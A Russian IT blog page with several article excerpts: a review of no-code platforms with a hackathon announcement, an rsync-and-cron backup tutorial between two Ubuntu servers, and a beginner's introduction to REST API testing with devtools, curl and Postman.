Zoho Creator – одна из наиболее компетентных платформ с низким уровнем кода и неплохими функциональными возможностями. С ее помощью у вас получиться сделать все быстро, легко и безопасно, несмотря на уровень технической подготовленности в области программирования.
Это набор инструментов, с помощью которого вы сможете трансформировать бизнес за счет создания концептуальных мультиплатформенных приложений: от минималистичных журналов вызовов до сложных ERP. Он ускорит процесс разработки при помощи интуитивно понятных редакторов кода и визуальных конструкторов. Zoho Creator предлагает обширную коллекцию полезных шаблонов (управление заказами, работа с дистрибьюторами и поставщиками, логистика, склад и др.), устанавливаемых и настраиваемых в соответствии с требованиями заказчика. Сервис также поддерживает FileMaker, MS Access и другие базы данных.
Быстрая no-code платформа с простыми инструментами для структурирования данных в надежную онлайн-базу. Чистый и понятный интерфейс Knack, упрощает разработку приложений и не требует написания ни единой строчки кода. Доступные функции и компоненты, понятные формы, карты, отчеты, календари и учетные записи – все что нужно для администрирования рутинных задач.
Кроме того, база данных Knack позволяет создавать объекты, соответствующие вашим уникальным требованиям. В одну платформу встроены десятки полезных шаблонов и плагинов по работе с дизайном, SEO, геолокацией пользователей, безопасными платежными системами, уведомлениями и прочим.
Для расширения и настройки интерфейса приложения можно использовать JavaScript, а для управления его внешним видом – подключать дополнительные стилевые файлы. С Knack легко анализировать, управлять и обмениваться данными, благодаря интеграции с Gmail, MailChimp, Dropbox, WebMerge, Google Drive и Zapier.
Инструмент для создания развертываемых быстро программ корпоративного уровня помогает бизнесу работать без сбоев. Применяется он для автоматизации и структурирования процессов поставки товаров, обслуживания заводского оборудования, управления доставкой, аналитикой и отчетностью, отслеживания логистики, интеллектуального банкинга с искусственным интеллектом, цифрового страхования и много чего еще.
Возможность подключения к приложениям когнитивных сервисов и ИИ, сделает их соответствующими требованиям нынешнего поколения пользователей.
Mendix позволяет сделать сквозную автоматизацию процессов, объединяющую в одном сервисе людей, системы и данные. Он позволяет интегрировать логику из любого источника, а созданные приложения можно расширить и сделать открытыми для других платформ.
Заключение
Представленные в обзоре платформы справятся с основными проблемами пользователей, но часто компаниями нужны кастомные решения No-code и не важно, будут ли они созданы с помощью упомянутых инструментов или разработаны под конкретную задачу. Важно, что решения No-code позволяют обычным сотрудникам вносить изменения в корпоративные системы без помощи программистов.
Скорость внесения доработок влияет на самые разные бизнес-процессы:
управление корпоративными продажами;
управление программами лояльности;
управление взысканием задолженности;
управление обслуживанием клиентов;
управление маркетингом;
управление HR.
***
Именно такие решения ищет российская ИТ-компания Т1 Консалтинг на хакатоне T1 Digital Challenge. Если вы тесно связаны с разработкой подобного рода программ, знаете как с помощью рассмотренных (или других) сервисов предложить корпоративный No-code инструмент или имеете готовые наработки для создания универсальной площадки для бизнеса, примите в нем участие.
Т1 Консалтинг уже во второй раз проводит хакатон, посвященный созданию корпоративных сервисов. На этот раз участникам предлагается выбрать одно из двух тематических направлений:
Разработать классический корпоративный инструмент при помощи любой No-code платформы, которым сможет пользоваться любой сотрудник без привлечения программистов;
разработать корпоративное решение по улучшению Customer Experience (CX).
На сайте хакатона подробно описаны задачи и предложены варианты кейсов для их решения. Можно выбрать один из перечисленных или создать свой.
Мероприятие пройдет в Москве 27 – 28 ноября, прием заявок продлится до 17 ноября. Призовой фонд хакатона составляет 500 000 рублей.
Отправляя заявку, опишите функциональность или готовую идею, которую вы готовы воплотить в жизнь на хакатоне. Компания отберет наиболее интересные и объявит список финалистов 19 ноября.
Кроме того, в рамках хакатона пройдет T1 Pitch Day, на котором стартапы и предприниматели с готовыми финтех-решениями по направлениям хакатона смогут презентовать свой проект топовому жюри и получить шанс сотрудничать не только с Т1 Консалтинг, но и с партнерами компании, в числе которых Почта Банк, Росбанк, ВТБ и другие.
Хороший аналитик знает, какой инструмент лучше всего подходит для конкретной ситуации. Наш ТОП-10 позволит новичкам в Business Intelligence заранее подготовить стек лучших решений, заслуживающих изучения.
Хакатон для разработчиков, ноукодеров и других специалистов без ограничений в навыках с призовыми фондом 500 000 рублей.
— Читать дальше «Хакатон T1 Digital Challenge»
…
Рассмотрим кейс резервного копирования файлов между сервером Prod и сервером Backup. В качестве инструмента будем использовать популярную бесплатную утилиту rsync.
Синхронизация, мощный инструмент для системных администраторов. Синхронизация состояния файлов между двумя или более серверами, одна из повседневных задач системных администраторов.
Утилита rsync позволяет производить синхронизацию директорий по ssh и поддерживает следующие методы:
Sync method (синхронизация только изменений указанной директории).
Snapshot (создание полной копии указанной директории).
В статье разберем оба метода, а также автоматизируем комплексный backup по расписанию.
Что нам понадобится:
Сервер с OS Ubuntu 20.04 LTS – Prod.
Сервер с OS Ubuntu 20.04 LTS – Backup.
Серверы для тестов предоставлены компанией Selectel.
Поскольку утилита rsync работает через ssh, необходимо сгенерировать ключ:
ssh-keygen -t rsa -b 4096 -v
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
Created directory '/root/.ssh'.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/id_rsa.pub.
The key fingerprint is:
SHA250q8TsT/X5pM+KE2n1Biz3Sre/p425I5wnRSI [email protected]
The key's randomart image is:
+---[RSA 4096]----+
| |
| |
| . |
| E o * |
| S ...B.+.|
| . + *+.ooB|
| + +oB=o=+|
| o +*=+Oo|
| +*OBX|
+----[SHA256]-----+
Затем копируем сгенерированный ключ на сервер Backup:
Видим что мы зашли на сервер и у нас не спросили пароль 🙂 Так как мы на сервере Backup сервере предлагаю создать директорию backup. Сюда будем сохранять резервные копии файлов с сервера Prod. Возвращаемся обратно на Prod сервер.
cd /root | mkdir backup
exit
Метод Sync (инкрементальное сохранение изменений)
При таком методе сохраняются только изменения в целевой директории. Утилита rsync мониторит директорию и если произошли следующие события отправляет изменения на сервер Backup.
Если были добавлены новые файлы.
Если были произведены изменения в файлах контролируемой директории.
Если было удаление файлов в контролируемой директории.
На сервере Prod создадим директорию и в ней файлы, которые будет мониторить утилита rsync:
cd var
mkdir www
cd www
touch 1.html index.html hello.html
Мы перешли в var и там создали директорию www с файлами 1.html, index.html, hello.html.
Почти готово 🙂 Запускаем rsync в режиме синхронизации изменений:
sending incremental file list
deleting hello.html
./
2.html
0 100% 0.00kB/s 0:00:00 (xfr#1, to-chk=1/4)
sent 150 bytes received 52 bytes 134.67 bytes/sec
total size is 0 speedup is 0.00
Видим что rsync удалил в папке backup файл hello.html и скопировал туда файл 2.html. Предлагаю создать исполняемый файл, в дальнейшем он нам понадобится для автоматизации бекапа:
Теперь нет необходимости запоминать длинную команду rsync, а достаточно запустить sync.sh (не забудьте сделать его исполняемым с помощью команды chmod):
sh sync.sh
Метод Snapshot (создание полной копии указанной директории)
У метода инкрементного бэкапа есть недостаток. Если вы, к примеру, ошибочно удалите файлы, то удаление также произойдет и в директории backup. Файлы будут утеряны. Для решения проблемы можно реализовать следующий алгоритм:
Делаем инкрементный backup каждый день утром в 09:30.
Делаем полный backup (Snapshot) еженедельно в понедельник 10:30.
Snapshot кладем в предварительно созданную директорию snapshot на сервере Backup. Создаем snapshot.sh:
sending incremental file list
created directory /root/backup/snapshot/2021-09-01-t-16-44-29
./
1.html
2.html
index.html
snapshot.sh
sync.sh
sent 577 bytes received 180 bytes 1,514.00 bytes/sec
total size is 213 speedup is 0.28
Из вывода результата исполнения snapshot.sh видим, что была сделана и отправлена полная копия сохраняемой директории в backup с именем текущей даты и времени.
Автоматизируем задачу копирования файлов
Автоматизируем наш backup. Мы не зря создавали исполняемые файлы sync.sh и snapshot.sh. Теперь нужно создать в планировщике Cron задание:
crontab -e
# Ежедневное копирование изменений в 09:30
30 9 * * * /root/sync.sh
# Еженедельное копирование полной копии в Понедельник 10:30
30 10 * * 1 /root/snapshot.sh
Готово! В планировщике два задания которые будут с помощью утилиты rsync копировать ежедневные изменении и раз в неделю делать полную копию.
***
Чтобы ускорить работу системы, выберите провайдера инфраструктуры, который наилучшим образом соответствует требованиям вашего ресурса: объем накопителя, процессор и количество ядер, объем оперативки и ежемесячного трафика, наличие резервного копирования, быстрая техническая поддержка. Мы тестировали серверы, любезно предоставленные компанией Selectel.
Для резервного копирования с одного рабочего сервера отдельная физическая машина может показаться избыточной, если проект не особенно крупный. Такая конфигурация скорее подойдет для нескольких серверов на проде (или одного, если он обслуживает большой проект). Selectel предлагает серверы, оснащенные 4-768 ГБ ОЗУ, 2-72 ядрами ЦП, а также с возможностью подключить графический ускоритель и выбрать в качестве сервера даже Raspberry Pi 4 (4/64 ГБ) и Mac mini для iOS-разработчиков.
Распределенная система контроля версий Git – популярный инструмент для координации параллельной работы и управления проектами в мире ИТ. Умение им пользоваться хотя бы на уровне основных команд необходимо даже начинающему разработчику.
…
Распределенная система контроля версий Git – популярный инструмент для координации параллельной работы и управления проектами в мире ИТ. Умение им пользоваться хотя бы на уровне основных команд необходимо даже начинающему разработчику.
…
Хранение под рукой полезных сайтов – хороший способ повышения производительности труда для дизайнера или веб-разработчика. Разберем некоторые из лучших инструментов, способных уменьшить объем вашей повседневной рутины.
Основные инструменты, без которых сложно представить будни JavaScript-разработчика: от IDE до браузера.
— Читать дальше «Инструменты в повседневной работе JavaScript-разработчика»
…
Что такое графический интерфейс PostgreSQL? Зачем он нужен? Как это может помочь вам в управлении базами данных? Узнайте о лучшем программном обеспечении Postgre GUI, которое можно попробовать в 2021 году.
В старые времена для собрания по планированию спринта требовалась только доска, маркер и стикеры. В наши дни появились цифровые инструменты, которые делают планирование более эффективным, а спринт – более успешным.
Статические анализаторы могут найти и исправить проблемный код Кратко рассмотрим популярные статические анализаторы для Java-кода.
— Читать дальше «Защищаем свой код от багов: обзор пяти статических анализаторов для Java-кода»
…
Изучишь REST API – останешься в Стране Чудес, и я покажу тебе, насколько глубоко уходит кроличья нора и как удобнее всего в нее нырнуть.
Пусть за спиной остался не один баг-репорт, написан не один ручной тест и пройден не один регресс, но почему все еще кажется, будто мир тестирования так и не открыл свои тайны? Ответ прост: пора двигаться дальше. Ведь баги возникают не просто так, и веб-браузер – это не картинка на экране.
Общение между сервером и клиентом, краткое определение REST API
Большинство веб-приложений в современном мире работают на клиент-серверной архитектуре. Основной ее смысл в том, что сетевая нагрузка распределена между поставщиком (сервер) и потребителем (клиент). Общение между ними осуществляется через сетевые протоколы, но для любого общения нужны правила, и тут мы как раз подходим к REST API.
Схема клиент-серверной архитектуры.
REST (Representational State Transfer) – это набор правил взаимодействия компонентов распределенного приложения, которые включают в себя следующие требования (ограничения):
отделять в архитектуре клиент от сервера;
в период между запросами клиента никакая информация о его состоянии не должна храниться на сервере;
необходима возможность кэширования ответов сервера;
необходимо единообразие интерфейса для возможности независимого развития каждого сервера;
необходимо предоставлять возможность добавления слоев между клиентом и сервером для лучшей масштабируемости и безопасности.
Почему большинство веб-приложений используют REST?
Если REST API – набор способов, подчиняющихся определенным правилам, то зачем большинство web-приложений используют такое сочетание?
Правила порождают порядок и единообразие. Это облегчает работу с кодом, а также его чтение.
Сервисы становятся масштабируемыми, что дает возможность сделать приложение отказоустойчивым и более безопасным.
Появляется возможность более легкого исправления ошибок и внесения изменений.
Прозрачность связей между компонентами также упрощает чтение и работу с кодом.
Перечислять можно долго, но основной смысл в том, что такой подход упрощает работу и систематизирует код.
Определяем где ошибка, классификация кодов HTTP
Хватит общих слов. Пора переходить к практике: нужно открыть devtools браузера (нажать клавишу F12) и перейти во вкладку Network (можно настроить фильтр на показ XHR, так будет удобнее).
Скриншот браузера с открытой панелью devtools.
Колонка статуса показывает статус выполнения запроса, прошел ли он успешно, или была допущена ошибка. Если кратко, то статусы можно для простоты сортировать следующим образом:
1xx
Информационные сообщения. Например, 102 – идет обработка запроса.
2xx
Успешное сообщение.
3xx
Была проведена переадресация, т.е. запрашиваемая информация больше не находится по этому адресу и запрос полетел по другому адресу.
4xx
Ошибка на стороне клиента. Т.е. нужно изменить запрос или его заголовки, например.
5xx
Ошибка на стороне сервера. Можно открыть логи (если есть возможность) и поискать ошибку.
Допустим, был интересен определенный запрос, потому что именно его меняли в нужном релизе, или его статус указывает на ошибку. Чтобы посмотреть информацию по запросу, нужно дважды щелкнуть (уверена, что знаете, но проговорить нужно):
Скриншот браузера с открытой devtools.
Основная информация, которую можно посмотреть по запросу, начиная работать с REST – это первые три вкладки:
Headers – заголовки и основная информация.
Preview – посмотреть тело запроса.
Response – посмотреть тело ответа.
Остальные вкладки можно рассмотреть как-нибудь потом.
На первой вкладке содержится общая информация по данному запросу, а также header, которые в нем используются (дополнительная информация к запросу, передаваемая между сервером и клиентом).
В общей информацией указан метод, который используется в запросе (в данном случае GET). Основные используемые методы (о других можно дополнительно почитать здесь).
GET
Получение данных. Например, чтобы загрузить статью на странице.
POST
Создание сущности.Например при создании нового пользователя.
PUT
Обновление сущности. Например изменение пароля или логина у уже существующего пользователя или заголовка статьи.
DELETE
Удаление сущности. Например удаление статьи, пользователя или теста. Иногда вместо DELETE используется PUT с пустым телом запроса.
Еще нужно обратить внимание на такой заголовок как Content-Type. Он отображает в каком формате передаются данные в запросе: json, xml или text.
Инструменты тестировщика для работы с REST
Существует множество удобных инструментов для работы и проверки REST-запросов. В статье я перечислю те которые удобны мне и подходят для решения начальных задач. При желании этот список легко расширить.
Первый инструмент, который не требует никакой дополнительной установки – это devtools используемого браузера. Достаточно нажать F12 и начать отслеживать, какие запросы летят и нет ли ошибок, которые нужно задокументировать в баг.
Второй инструмент, который всегда под рукой у пользователя Unix/Linux – это curl (в Windows нужно будет его специально установить). Чтобы посмотреть информацию по этой утилите, достаточно набрать следующую команду в терминале:
man curl
# или
curl --help
Для начала можно попробовать отправить GET-запрос и получить ответ:
curl -i https://proglib.io/posts/fetch
Непонятные символы появились, потому что нет русификации консоли.
Был повторен GET-запрос и получен ответ. Используя ключ -i, можно посмотреть дополнительную информацию. Дальше можно попробовать отправить POST-запрос, сразу же отправив headercontent-type:
curl -i -X POST -d '' -H 'content-type: application/json' https://proglib.io/post/info
Консоль с вызванным curl.
В нашем запросе -X POST показывает, что используется метод POST (по умолчанию отправляется метод GET), -d ‘’ – тело запроса (в данном случае пустое) и -H 'content-type: application/json' – заголовок, показывающий, что тип сообщений – json. В ответ пришел статус 400, значит тело запроса нужно менять.
Немного освоив curl, можно переходить к более высокоуровневому инструменту. В статье я рассмотрю Postman, но есть и другие варианты.
Postman – свободно распространяемая программа с платным контентом для взаимодействия в команде. Для работе в ней нужно зарегистрировать свою почту на официальном сайтеи скачать десктопную версию (хотя можно работать и через браузер). Также для Postman есть официальная документация и обучающие видео.
Начнем с отправки того же самого GET-запроса, что и с помощью curl:
Скриншот программы Postman.
На картинке видно, что заголовки были заполнены автоматически. Ответ более читаемый, чем при запросе с помощью curl.
Теперь можно отправить POST-запрос, тело которого также будет пустым, и будет прописан указывающий тип запроса header:
Скриншот программы Postman.
Был получен такой же ответ с таким же статусом, как и при отправке запроса с помощью curl.
Postman умеет еще множество вещей: можно собирать запросы в коллекции, писать тесты на Java Script, осуществлять мониторинг определенных запросов, документировать их и т.д.
Выводы
Можно продолжать тестировать только клиентскую часть, раз за разом проводя тест-дизайн, пытаться отловить ошибку и не пытаясь проанализировать ее с точки зрения кода программы… Но разве этого достаточно? Разве не хочется заглянуть под картинку и увидеть, как все работает?
В статье описаны основы и показаны некоторые инструменты. Открытие консоли браузера – только первый шаг, который ведет к нагрузочному тестированию, автоматизации rest-test или пониманию, как все устроено. Однако дорогу осилит идущий, а в следующих публикациях мы разберем и более сложные темы. Удачи!
***
Если вы только начинаете осваивать профессию, стоит обратить внимание на Факультет ручного тестирования образовательной онлайн-платформы GeekBrains. Обучение длится всего 10 месяцев и включает теоретическую часть, практику с четырьмя проектами в портфолио и как бонус – диплом о профессиональной переподготовке с гарантированным трудоустройством. Программа обучения актуальна, а занятия ведут практикующие специалисты российских технологических компаний.
Senior Python Developer советует инструменты и технологии, которые повсеместно применяют разработчики на Python.
— Читать дальше «Стек технологий для Python»
…
Свежие комментарии